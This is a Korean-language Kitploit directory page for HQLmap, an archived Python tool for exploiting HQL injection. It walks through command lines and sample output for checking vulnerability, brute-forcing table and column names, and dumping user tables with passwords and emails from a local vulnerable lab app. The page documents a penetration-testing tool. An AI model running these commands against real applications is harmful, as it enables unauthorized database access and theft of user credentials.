Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HQLmap — (사용 중단됨) HQLmap, HQL 인젝션을 악용하기 위한 자동화 도구 | Kitploit
도구/GitHubGitHub/paulsec/hqlmap
Vulnerability ScannersWeb Application ExploitationInformation GatheringPenetration TestingDatabase SecurityArchived
GitHubpaulsec/hqlmap

HQLmap

(사용 중단됨) HQLmap, HQL 인젝션을 악용하기 위한 자동화 도구

저장소 보기
228436년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

HQLMap

이 프로젝트는 HQL 인젝션을 악용하기 위해 만들어졌습니다. 이 도구는 Python으로 작성되었으며 MIT 라이선스로 배포됩니다. 향후 개발: SQLmap용 특정 모듈을 개발할 생각이 있습니다.

도구를 어디에서 시험해 볼 수 있나요?

도구를 시험해 볼 수 있는 빠른 취약 환경을 원한다면 RopeyTasks를 추천합니다: https://github.com/continuumsecurity/RopeyTasks/

또한 HQLi에 대한 자세한 정보를 원한다면 이 블로그 게시물을 확인하세요: http://blog.h3xstream.com/2014/02/hql-for-pentesters.html

설치

이 프로젝트를 설치하려면 다음을 입력하여 클론하면 됩니다:

root@kitploit:~
git clone [email protected]:PaulSec/HQLmap.git

사용법

이 프로젝트를 사용하려면 해당 디렉터리로 이동하세요:

root@kitploit:~
cd HQLmap

그리고 프로젝트를 실행하세요:

root@kitploit:~
python HQLmap.py

그러면 사용법이 표시됩니다:

root@kitploit:~
Usage: HQLmap.py [options]

Options:
  -h, --help            show this help message and exit
  --url=URL             qURL to pentest
  --cookie=COOKIE       Cookie to test it
  --param=PARAM         Param to test
  --postdata=POSTDATA   Postdata (POST Method)  
  --message=BLIND_HQLI_MESSAGE
                        Message appearing while Blind HQLi
  --tables              Tries to gather as much tables as possible (With
                        Bruteforce)
  --T=TABLE             Name of the table you want to get
  --table_name_file=FILE_TABLE
                        DB file for name of tables
  --columns             Tries to gather as much columns as possible (With
                        Bruteforce)
  --C=COLUMN            Name of the column you want to get
  --column_name_file=FILE_COLUMN
                        DB file for name of columns
  --check               Check if host is vulnerable
  --user                Tries to get user() from dbms
  --count               Get count of specified table(s)
  --dump                Dump specified table(s) / column(s)
  --results             Enumerate results after session
  --verbose             Verbose mode

사용법

이 부분은 다양한 시나리오를 포함합니다.

호스트가 취약한지 확인

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check

출력은 매우 간단합니다:

root@kitploit:~
Host seems vulnerable.

POSTDATA로 확인

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"

테이블 열거

root@kitploit:~
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables

다음은 출력입니다:

root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.

이러한 열거를 수행할 때 스캐너는 별도로 지정하지 않으면 테이블 이름에 대한 기본 파일을 사용합니다. 기본 파일은 db/tables.db입니다.

컬럼 열거

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

이러한 열거를 수행할 때 스캐너는 테이블 이름과 컬럼 이름 모두에 대해 기본 파일을 사용합니다. 기본 파일은 다음과 같습니다:

테이블: db/tables.db 컬럼: db/columns.db

특정 테이블 존재 확인

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo

그리고 출력:

root@kitploit:~
[-] Table foo does not exist.

특정 테이블의 컬럼 열거

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns

그리고 출력:

root@kitploit:~
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

특정 테이블의 특정 컬럼 존재 확인

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar

그리고 출력:

root@kitploit:~
[!] Table User has been found.
[-] Column bar in User does not exist.

핑거프린팅 옵션

테이블의 개수(count) 가져오기

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count

또는 모든 테이블에 대해:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count

그리고 출력:

root@kitploit:~
[!] Table User has been found.
[!] Count(*) of User : 3

데이터베이스의 사용자(user) 검색

이 작업을 수행하려면 테이블을 지정하고(--tables 플래그를 사용하면 전체 지정) --user 플래그를 다음과 같이 추가해야 합니다:

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user

그리고 (몇 초 후) 출력:

root@kitploit:~
[!] Table User has been found.
[!] Username of Database found : SA

사용자를 검색하기 위해 저는 "변수" 이분법(dichotomy)과 매우 유사한 알고리즘을 구현했습니다.

데이터베이스 덤프

데이터베이스의 모든 테이블

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump

그리고 출력:

root@kitploit:~
(redacted)
[Task]
  [Name]
     - Bob's shopping
     - Alice's shopping
[Task]
  [User_Id]
     - 1
     - 2
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
(redacted)

데이터베이스의 특정 테이블

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump

그리고 출력:

root@kitploit:~
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
[User]
  [Password]
     - password
     - password
     - password
[User]
  [Email]
     - [email protected]
     - [email protected]
     - [email protected]
[User]
  [Firstname]
     - Robert
     - Alice
     - Administrator
[User]
  [Lastname]
     - McBride
     - O'Reilly
     - Reynolds

데이터베이스의 특정 컬럼

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump

그리고 출력:

root@kitploit:~
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
  [username]
     - bob
     - alice
     - admin

결론 (및 라이선스)

피드백을 자유롭게 남겨 주시고 새로운 기능을 요청해 주세요.

이 프로젝트는 MIT 라이선스로 배포됩니다.

도구 다운로드